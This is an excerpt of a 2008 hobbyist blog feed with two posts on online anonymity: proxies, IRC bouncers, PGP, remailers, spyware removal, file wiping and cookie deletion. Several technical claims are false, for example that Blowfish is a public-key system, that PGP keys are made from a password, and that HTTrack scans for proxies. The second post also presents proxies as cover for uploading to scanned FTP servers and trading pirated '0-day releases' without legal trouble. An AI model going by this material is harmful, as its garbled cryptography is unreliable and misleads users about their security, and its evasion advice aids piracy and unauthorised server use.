NNTP (news) program with a secure proxy on port 563 instead of taking our long way - which would probably work as well. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;A secure HTTP proxy operates on port 443. Host proxies are not public, that means they operate for, and allow only traffic from their subnet or the ISP that operates them ? but, there are many badly configured HTTP proxies and some public ones out there. The use of a program called HTTrack (available on Neworder) will aid you in scanning and searching for proxies on your network or anywhere on the Internet if your ISP does not provide you with one. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Neworder also features a number of sites dedicated to listing public proxies in the Anonymity section. While it?s often hard to find a suitable fast proxy, it?s worth the effort when you get one. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;So how can I secure my connections with SSL Tunnelling? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;That?s a big question, and beyond the scope out this tuition as it must come to and end. I can however, point you in the right direction of two resources that will aid you in tunnelling both IRC, and most other connections via a HTTP proxy. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;For Windows, the first stop would be http://www.totalrc.net?s Socks2HTTP. This is an SSL tunnelling program that turns a normal socks proxy connection into a tunnelled SSL connection. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The second stop, for both Windows and Unix is stunnel. Stunnel is a GNU kit developed for SSL tunnelling any connection. It is available for compile and download as binary here: Stunnel homepage - http://mike.daewoo.com.pl/computer/stunnel &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ anonymity on irc ]&lt;br /&gt;A BNC, or a Bouncer - is used in conjunction with IRC as a way of hiding your host when people /whois you. On most IRC networks, your host isnt masked when you whois, meaning the entire IP appears, like 194.2.0.21, which can be resolved. On other networks, your host might be masked, like IRCnetwork-0.1 but it can still give valuable information, like nationality if your host is not a IP, but a DNS resolved host, like my.host.cn would be masked to IRCnetwork-host.cn but this would still tell the person who whoised you, that you are from China. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;To keep information such as this hidden from the other users on an IRC network, many people use a Bouncer, which is actually just a Proxy. Let us first draw a schematic of how a normal connection would look, with and without a BNC installed. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Without a BNC: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;your.host.cn &lt;&lt;--&gt;&gt; irc.box.sk &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;With a BNC: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;your.host.cn &lt;&lt;--&gt;&gt; my.shell.com &lt;&lt;--&gt;&gt; irc.box.sk &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;You will notice the difference between the two. When you have a BNC installed, a shell functions as a link between you and the IRC server (irc.box.sk as an example). You install a BNC on a shell, and set a port for it to listen for connections on. You then login to the shell with your IRC client, BitchX/Xchat/mIRC, and then it will login to the IRC server you specify - irc.box.sk in this case. In affect, this changes your host, in that it is my.shell.com that makes all the requests to irc.box.sk, and irc.box.sk doesn't know of your.host.cn, it has never even made contact with it. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;In that way, depending on what host your shell has, you can login to IRC with a host like i.rule.com, these vhosts are then actually just an alias for your own machine, your.host.cn, and it is all completely transparent to the IRC server. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Many servers have sock bots that check for socket connections. These aren't BNC connections, and BNC cannot be tested using a simple bot, unless your shell has a socket port open (normally 1080) it will let you in with no problem at all, the shell is not acting as a proxy like you would expect, but more as a simple IRC proxy, or an IRC router. In one way, the BNC just changes the packet and sends it on, like: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;to: my.shell.com -&gt; to: irc.box.sk -&gt; to: my.shell.com from: your.host.cn &lt;- from: my.shell.com &lt;- from: irc.box.sk &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The BNC simply swaps the host of your packet, saying it comes from my.shell.com. But also be aware, that your own machine is perfectly aware that it has a connection established with my.shell.com, and that YOU know that you are connected to irc.box.sk. Some BNCs are used in IRC networks, to simulate one host. If you had a global IRC network, all linked together, you could have a local server called: cn.myircnetwork.com which Chinese users would log into. It would then Bounce them to the actual network server, in effect making all users from china have the same host - cn.myircnetwork.com, masking their hosts. Of course, you could change the host too - so it didn't reveal the nationality, but it is a nice gesture of some networks, that they mask all hosts from everyone, but it makes life hard for IRCops on the network - but its a small price to pay for privacy. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Note: Even if you do use IRC bouncer, within DCC transfers or chat, your IP will be revealed, because DCC requires direct IP to IP connection. Usual mistake of IRC user is to have DCC auto-reply turned on. For an attacker is then easy to DCC chat you or offer you a file, and when IRC clients are connected, he can find out your IP address in the list of his TCP/IP connections (netstat). &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;How do I get IRC bouncer? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;you download and install bouncer software, or get someone to install it for you (probably the most known and best bouncer available is BNC, homepage : http://gotbnc.com/)&lt;br /&gt;you configure and start the software - in case it's bouncer at Unix machine, you start it on your shell account (let's say shell.somewhere.com)&lt;br /&gt;you open IRC and connect to the bouncer at shell.somewhere.com on the port you told it to start on.&lt;br /&gt;all depending on the setup, you may have to tell it your password and tell it where to connect, and you're now on irc as shell.somewhere.com instead of your regular hostname&lt;br /&gt;[ mail crypto ]&lt;br /&gt;Usually the safest way to ensure that your e-mail won't be read by unauthorised persons is to encrypt them. To be compatible with the rest of the world I'd suggest to use free PGP software. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;PGP (Pretty Good Privacy) is a piece of software, used to ensure that a message/file has not been changed, has not been read, and comes from the person you think it comes from. Download location: http://www.pgpi.org/ &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;How does pgp Work? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The whole idea behind PGP is that of Public and Private keys. To explain the algorithm PGP uses in order to encrypt the message would take too much time, and is beyond the scope of this, we will however look at how it ensures the integrity of the document. A user has a password, this password has to be chosen correctly, so don't choose passwords like "pop" or "iloveyou", this will make an attack more likely to succeed. The password is used to create a private key, and a public key - the algorithm ensures that you can not use the public key to make the private key. The public key is sent to a server, or to the people you send e-mails/files, and you keep the private key secret. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;We will use a few terms and people in this introduction, they are: Pk - Public Key, Sk - Secret Key (private key). Adam will send an e-mail to Eve, and Rita will be a person in between, who we are trying to hide the content of the mail from. Rita will intercept the email (PGP doesn't ensure that Rita cant get her hands on the package, she can - its not a secure line like other technologies) and try to read it/modify it. Adam has a Sk1 and a Pk1, and Eve has a Sk2 and a Pk2. Both Adam, Eve, and Rita have Pk1 and Pk2, but Sk1 and Sk2 are presumed to be totally secret. First, here is a schematic of how it all looks: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;PUBLIC SERVER&lt;br /&gt;Pk1, Pk2&lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;Adam &lt;------------------------------------------&gt; Eve Sk1 ^ Sk2&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;Rita&lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;So Adam wants to send a packet to Eve, without Rite reading it, or editing it. There are three things that we need to make sure: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;That Rita cant read the text without permission &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;That Rita cant edit it in any way, without Eve and Adam knowing &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;That Even knows that Adam sent it &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;First thing is making sure Rita cant read the text. Adam does this by encrypting the message with Eves Pk2 which he has found on the server. You can only Encrypt with the Pk, not decrypt, so Rita wont be able to read the data unless Eve has revealed her Sk2. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The second thing to make sure, is that Rite cant edit the message. Adam creates a hash from the message he has created. The hash can be encrypted using Pk2, or sent as it is. When Eve gets the message, she decrypts it, and creates a hash herself, then checks if the hashes are the same - if they are, the message is the same, if its different, something has changed in the message. The Hash is very secure, and it is in theory impossible to make a change, and get the hash to remain the same. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The third, and probably one of the most important things to ensure, is that Rita hasn't grabbed the mail, made a new one, and sent it in Adams name. We can ensure this by using Public key and Private key too. The Sk can be used both to encrypt and to decrypt, but Pk can only encrypt. When Adam normally sends a message M to Eve, he creates the encrypted message C by doing: C=Pk2(M). This means, Adam uses Pk2 (Eves Pk) on message M to create message C. Image this: Adam can encrypt the message with his Sk1, because it is impossible to derive Sk1 from the message, this is secure and without any danger, as long as no one knows the password used to make Sk1 with. If the message M is encrypted with Sk1, he gets a message called X, Eve can decrypt the message using Pk1 which is public. If the message decrypts to something that makes sence, then it must be from Adam, because Sk1 is considered as secret, and only Adam knows it. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The entire process looks like this, when sending message C: Adam signs his digital signature on C, and hashes C: X=Sk1(C). Then Adam encrypts the message for Eve: M=Pk2(X). The message is sent, and looks all in all like this: M=Pk2(Sk1(C)). Rita can intercept M, but not decrypt, edit, or resend it. Eve receives M, and decrypts it: X=Sk2(M). Then she checks the digital signature: C=Pk1(X) and checks the Hash on the way. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;This way, the PGP Public/Private key system ensures integrity and security of the document e-mail, but PGP is not the only algorithm that uses the Public/Private key theory, Blowfish, and RSA are among the many other technologies that use it, PGP is just the most popular for e-mail encryption, but many don't trust it because of rumors of backdoors by the NSA (I don't know if its true though). PGP comes in a commercial, and a freeware version for Windows, and is available for Linux as well. What ever encryption you use, it will be better than none. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ anonymous remailers ]&lt;br /&gt;Remailers are programs accessible on the Internet that route email and USENET postings anonymously (i.e., the recipient cannot determine who sent the email or posted the article). This way the sender can't be traced back by routing headers included in the e-mail. There are different classes of remailers, which allow anonymous exchange of email and anonymous posting to USENET and often many other useful features. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Resources: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Chain is a menu-driven remailer-chaining script:&lt;br /&gt;http://www.obscura.com/crypto.html &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Raph Levien's remailer availability page offers comprehensive information about the subject&lt;br /&gt;http://www.sendfakemail.com/~raph/remailer-list.html &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;The Cypherpunks Remailers are being developed to provide a secure means of providing anonymity on the nets. Here you can find out about the available remailers, those which have been standard in existance for a long time as well as the new experimental remailers and anonymous servers.&lt;br /&gt;http://www.csua.berkeley.edu/cypherpunks/remailer/ &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ icq privacy ]&lt;br /&gt;How can I keep my privacy at ICQ? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Send and receive messages via ICQ server, not directly. Every direct connection enables attacker to learn your IP. Encrypt your messages by dedicated software, encryption addons. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;How to encrypt ICQ messages? &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;There are addons which enhance your ICQ with possibility to encrypt outcoming messages. The user on the other side needs to have the addon as well in order to decrypt your message. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Resources: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;http://www.encrsoft.com/products/tsm.html&lt;br /&gt;Top Secret Messenger (TSM) - trial version has only weak 8-bit encryption &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;http://www.planet-express.com/sven/technical/dev/chatbuddy/default.html&lt;br /&gt;Chat Buddy - a freeware Windows application for encrypting chat sessions &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;http://www.algonet.se/~henisak/icq/encrypt-v5.txt&lt;br /&gt;how encryption works in ICQ protocol v5 &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ spyware ]&lt;br /&gt;As we all work hard to become more savvy about protecting our personal information and keeping as anonymous as possible on the web, advertising companies are working just as hard to come up with new ways of getting our personal information. One of the ways they accomplish this is through spyware. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Spyware are applications that are bundled along with many programs that you download for free. Their function is to gather personal information about you and relay it back to advertising firms. The information is then used either to offer you products or sold to other advertisers, so they can promote THEIR products. They claim this is all they do with this information, but the problem is nobody really knows for sure. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Spyware fits the classic definition of a trojan, as it is something that you did not bargain for+when you agreed to download the product. Not only is spyware an invasion of your privacy, but (especially if you have a few different kinds on your machine) it can also chew up bandwidth, making your internet connection slower. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Sometimes, these spies really are harmless, merely connecting back to the home server to deliver+you more advertising. Some, like Gator for instance, send out detailed information about your surfing habits, operating system, income, age demographic et cetera. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Avoiding spyware &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Avoiding spyware is getting harder and harder, as more software distributors are choosing it as a method of profiting from freeware and shareware distributions. Be leery of programs with cute+little icons like Gator. Also, watch those Napster wannabes like AudioGalaxy, Limewire, and Kazaa. I've yet to find one that didn't include spyware. Before you download, check to see if the program is known to contain spyware. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;For a list of most known spyware, the best I've found is here:&lt;br /&gt;http://www.infoforce.qc.ca/spyware/enknownlistfrm.html &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Getting rid of spyware &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;In most cases, you can remove the spyware from your system and still use the application you downloaded. In the case of Gator and Comet Cursor, the the whole program is spyware an it must be completely removed to stop the spying. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;There are several ways to get rid of spyware on your system. You can use a firewall to monitor outgoing connections. The programmers that put these things together, however, are getting sneakier and sneakier about getting them to circumvent firewalls. Comet Cursor, for instance uses an HTTP post command to connect without the intervention of a firewall. You can also install a registry monitor such as Regmon to monitor your registry for unwanted registry registry changes, but this is not foolproof either. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Probably the best method of removal is to download a spyware removal program and run it like it was a virus scanner. The best examples of these programs are:&lt;br /&gt;Lavasoft's Adaware. Available at http://www.lavasoftusa.com/ Or professional cybernut Steve Gibson's OptOut. Available at: http://grc.com/optout.htm Both of these programs are free and are updated regularly. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Here are some links, if you wish to learn more about spyware:&lt;br /&gt;http://www.spychecker.com/&lt;br /&gt;http://grc.com/optout.htm&lt;br /&gt;http://www.thebee.com/bweb/iinfo200.htm &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;&lt;br /&gt;[ cleaning tracks ]&lt;br /&gt;Resources: &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Burnt Cookies - allows automatic detection and optional deletion of Cookies deposited by Banner Ad web-sites&lt;br /&gt;http://www.andersson-design.com/bcookies/index.shtml &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Surfsecret - automatically kills files like your Internet cache files, cookies, history, temporary files, recent documents, and the contents of the Recycle Bin.&lt;br /&gt;http://www.surfsecret.com/ &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;Note: One sidenote on cleaning tracks. When you delete some files on your machine, these aren't actually deleted. Only the reference to their location in the hard drive is deleted, which makes the OS think that that location on the HD is free and ready to take things. Thus, there are ways to recover data even after you delete them. &lt;/p&gt;  &lt;p class="MsoNormal" style="margin: 5pt 0in;"&gt;There are however, several ways to _wipe_ this information. Programs that fill hard disk locations with zeros, then with 1s, on several passes are your best bet to make sure no document goes to the wrong hands. One of such programs is PGP. PHPi now comes with a utility that does this work, and you can even select the number of passes to wipe files. For *nix, there is also the "wipe" program. Use these when you feel you have data that needs secure cleaning. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-8896381819762236110?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/tWuMQ-CNHwOG3NDl52WDe0kk18o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/tWuMQ-CNHwOG3NDl52WDe0kk18o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/tWuMQ-CNHwOG3NDl52WDe0kk18o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/tWuMQ-CNHwOG3NDl52WDe0kk18o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/_6P7cIbqias" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/8896381819762236110/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=8896381819762236110" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/8896381819762236110?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/8896381819762236110?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/_6P7cIbqias/anonymity-on-web.html" title="Anonymity on the web" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/anonymity-on-web.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YMR3s_eCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-783543087425329034</id><published>2008-08-12T08:32:00.000-07:00</published><updated>2008-08-12T08:33:06.540-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:33:06.540-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Anonymity" /><title>Anonymity</title><content type="html">I can see you hiding in the shadows over there and so can the logs of all the web sites, FTP servers and other nooks and crannies you visit on the web. The sort of information gathered by these logs and which is available to the webmasters of the sites you visit include the address of the previous site you visited, your IP address, your computer's ID name, your physical location and the name of your ISP along with less personal details such as the operating system you're using and your screen resolution. If someone was snooping through your dustbin to gather information on consumer trends or tracking your every move to see where it is you go everyday you wouldn't be too chuffed would you. Well the web is no different, it's still an invasion of privacy and a threat to security and you don't have to put up with it.&lt;br /&gt;&lt;br /&gt;Proxy servers:&lt;br /&gt;Every time you visit a web site, detailed information about your system is automatically provided to the webmaster. This information can be used by hackers to exploit your computer or can be forwarded to the market research departments of consumer corporations who by tracking your activities on the internet are better equipped to direct more relevant spam at you. Your best defence against this is to use what is known as a proxy server, which will hide revealing information from the web sites you visit, allowing you to surf the web anonymously. These work by altering the way in which your browser retrieves web pages or connects to remote servers. With a proxy server set up, whenever you 'ask' IE or Netscape to look at a web page, the request is first sent through an external server which is completely independent of your ISP's servers. This third party server then does the requesting on your behalf so that it appears that the request came from them rather than you and your real IP address is never disclosed to the sites you visit. There is nothing to download and the whole process takes less than a minute.&lt;br /&gt;&lt;br /&gt;There are two different ways to use proxy servers and both have their advantages and disadvantages. The first method is to use a web based service. What this involves is visiting the proxy's home page each time you want to browse a web site anonymously. The core component of such a system is the dialog box where you enter the address of the web site you want to visit. Each time you enter the URL of the site you want to browse via the proxy into this box, your personal information, IP address and so on is first encrypted before being sent to the site allowing you to maintain your anonymity. Two of the best examples of this type of web based proxy service are Code:&lt;br /&gt;hxxp://www.rewebber.com/&lt;br /&gt;and hxxp://www.anonymizer.com/.&lt;br /&gt;&lt;br /&gt;Obviously one disadvantage of using a web based service like Rewebber or Anonymizer, however, is that you have to visit the proxies home page each time you want to surf anonymously. You could choose to select this page as your default home page, but it's still quite awkward if you're forever site hopping at the speed of light. The second main 'con' is that you often have to put up with extra adverts on the pages you visit. These are automatically inserted into the pages by the proxy - they have to pay for service somehow. More sophisticated and convenient solutions are also on offer yet they come with a price tag.&lt;br /&gt;&lt;br /&gt;The second method you can use to protect your privacy via a proxy server involves adjusting the settings of your web browser so that you can surf anonymously without having to visit the home page of your proxy each time. To do this you will first need to know the name of your proxy server and the port number it uses. This information can be gleaned from either a public proxy server list or the FAQ referring to a private subscription based service. Once you have the name of the proxy server you wish to use, select 'Internet Options' from the 'Tools' menu of your browser. Now select 'Connections' followed by 'Settings' and tick the 'use a proxy server' check box. To finish the job all you have to do now is enter the name of the server in the 'address' box, the port which it uses in the 'port' box and go forth and surf anonymously.&lt;br /&gt;&lt;br /&gt;Free, manual proxy servers as advertised on anonymity sites, if you can find one at all, are likely to be highly oversubscribed, and as a result the speed at which they retrieve web pages can deteriorate. In which case you can go in pursuit of a public proxy server list and select an alternative from it, which can then be set up manually. To locate such a list you can investigate sites such as Code:&lt;br /&gt;hxxp://www.proxys4all.com/&lt;br /&gt;&lt;br /&gt;however, this method isn't problem free either, so before you get too carried away and go jumping on the anonymity bandwagon there are a few things you should be aware of. It's very easy to use proxies to protect your privacy, but often the disadvantages of using them far out weigh the benefits. You see, the problem is that, like the proxy servers provided Rewebber et al, free, public proxies are nearly all over subscribed and so they can slow down web browsing considerably. Digging out fast reliable proxy servers is an art form in itself and is a skill which takes considerable practice. You could find a list of public proxy servers and then experiment with each one until you find one that runs at a reasonable speed, but this can be very time consuming and frustrating. Instead, your search would be much more efficient if you got a dedicated program to carry out this task for you. There are literally dozens of proxy seeking programs around which can do just that, and many of them are available as freeware. What these do is scan the internet for public proxy servers. These servers are then tested for speed and anonymity (not all of them are truly anonymous, even if they claim to be!) and once you find one which suits your requirements you can select it as your default proxy with the click of a button.&lt;br /&gt;&lt;br /&gt;One of the most significant advantages of using an automated tool to locate proxy servers is that you do not have to keep editing your proxy settings manually each time you wish to try out a new one. Instead, what you do is enter 'localhost' or '127.0.0.1' into the 'address' box and '8088' into the 'port' box of your browser's proxy settings menu and then forget about it. All future proxy switching is then orchestrated from within your proxy seeking software, which subsequently relays the information to your browser or whatever type of application you are attempting to make anonymous. For those of you who are curious 'localhost' and the IP address '127.0.0.1' are the names by which every computer on the internet refers to itself.&lt;br /&gt;Here's a good selection of links, which should help you to get started - Code:&lt;br /&gt;hxxp://www.a4proxy.com/ Anonymity 4 Proxy&lt;br /&gt;hxxp://www.helgasoft.com/hiproxy/ Hi Proxy&lt;br /&gt;hxxp://www.proxy-verifier.com/ Proxy Verifier&lt;br /&gt;hxxp://www.photono-software.de/ Stealther.&lt;br /&gt;&lt;br /&gt;You may find that even when using these programs you have difficulty finding good proxy servers. It is for this reason that many people choose only to use proxy servers temporarily whilst doing something which may land them in trouble with their ISP, or in a worst case scenario with the law. The most obvious example of a situation in which you would want to cover your tracks is when scanning for public FTP servers and subsequently uploading to them. Most other net activities are unlikely to incur serious consequences so under these circumstances you can safely surf the web without a proxy. If you're really serious about protecting your privacy, however, your best bet is probably to invest in a dedicated, stable proxy such as the ones offered by Code:&lt;br /&gt;hxxp://www.ultimate-anonymity.com/ Ultimate Anonymity&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;These aren't free, but may be worth the expense if you aren't keen on continuously switching proxy servers.&lt;br /&gt;&lt;br /&gt;Before splashing out though it may be worth checking if your current ISP has a proxy server of its own which you can use. These aren't there to help you to commit cyber crimes and get away with it, they actually have a legitimate purpose as well - otherwise they wouldn't exist. You see, proxy servers were originally designed to help speed up web page loading times. Proxy servers contain a cache of all the web pages which have been requested via the browsers of the people using the proxy. When someone surfs the web using a proxy, the proxy first checks to see if it already has a copy of the web page stored in its cache. If this version of the page is bang up to date, it is sent to your computer and appears in your browser. If the page found in the cache of the proxy server is older than the one stored on the server hosting the page, a new request to the web server is made and the page is updated in the cache of the proxy before being sent to you. Because these servers use very fast internet connections they can retrieve web pages at much greater speeds than you can via your modest home setup. If these servers are located physically nearer to your home than the web host servers you wish to retrieve web pages from, the speed at which you browse the web will be accelerated.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anonymity - Cookies&lt;br /&gt;One last important point you need to be aware of before jumping in with both feet is that different programs have to be setup in different ways before being able to make external connections via a proxy server. For example, you can surf the web anonymously by modifying the settings in Internet Explorer or Netscape Navigator as explained earlier in this tutorial, but this will only affect your browser. If you then used Flash FXP to copy a batch of 0-day releases from one FTP server to another, this isn't going to protect you in the slightest. What you have to do is enter the name of the proxy server into each application you wish to make anonymous before making any external connections. This can usually be done by browsing through the preferences of your program to see if there is a 'use proxy server' option available. If there is, make sure you use it!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cookies:&lt;br /&gt;You have little to fear from the edible variety, but the digital ones can be a major threat to your security and privacy. A cookie is a tiny text file (usually less than 1kb in size), which is created and stored on your hard drive whenever you visit a dynamic (or an interactive if you like) web site. These are used to log your personal details so that you can access members only areas of web sites without having to type in a password every time, or to retain your customised settings so that they are available the next time you visit. If you're using a shared computer, anyone who visits the same site that you have previously logged in to can access your accounts. This is particularly worrying if you have entered your credit card details into a form on an e-commerce site. If your browser is set to automatically fill in these details whenever you&lt;br /&gt;return to a previously visited site, this information could be clearly visible - you don't need me to explain the problems this could entail.&lt;br /&gt;&lt;br /&gt;The solution to this problem is to delete any cookies which contain sensitive data once you have completed your transactions. Your cookies will be stored in a different place depending on which operating system you are using so you will have to use your detective skills to find them. As an example, in Windows XP they are located in your 'c:\Documents and Settings\Kylie Minogue\Cookies' directory (that is if your name is Kylie Minogue. Mine isn't in case you're wondering!). If you look in this directory, in some cases it is easy to identify which cookie is associated with which web site, but in other cases it's not so obvious. The cookie which was created when you visited Yahoo.com to check your email may be called kylie minogue@yahoo.txt for example. Unfortunately some cookies refer to the IP address of the site you visited and so look more like kylie minogue@145.147.25.21. These cookies can be selectively deleted one at a time if it's obvious which ones are causing a threat to your security, or you can just wipe out the whole lot in one fell swoop and have them recreated as and when they are required. However, if&lt;br /&gt;you're really struggling to find your cookie jar, you could delete your cookies via your browser's tool bar instead. In Internet Explorer this can be done through the 'Tools' &amp;gt; 'Internet Options' menu items.&lt;br /&gt;&lt;br /&gt;If all this sounds like too much hassle, you can always find a labour saving program which will be happy to take the job off your hands. These 'cookie crunching' programs allow you to be more selective when editing, viewing and deleting cookies from your system, and some of them will even prevent cookies from being created in the first place. Yes, I know you're hungry for links so I won't deprive you. Have a look here - Code:&lt;br /&gt;hxxp://www.rbaworld.com/Programs/CookieCruncher/ Cookie&lt;br /&gt;Cruncher&lt;br /&gt;hxxp://www.thelimitsoft.com/ Cookie Crusher&lt;br /&gt;hxxp://www.angove.com/ Cookie Killer&lt;br /&gt;hxxp://www.kburra.com/ Cookie Pal&lt;br /&gt;and&lt;br /&gt;hxxp://www.cookiecentral.com/ Cookie Web Kit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-783543087425329034?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/t2mDwBn91QuSU9LXVbcUp4PxgT8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t2mDwBn91QuSU9LXVbcUp4PxgT8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
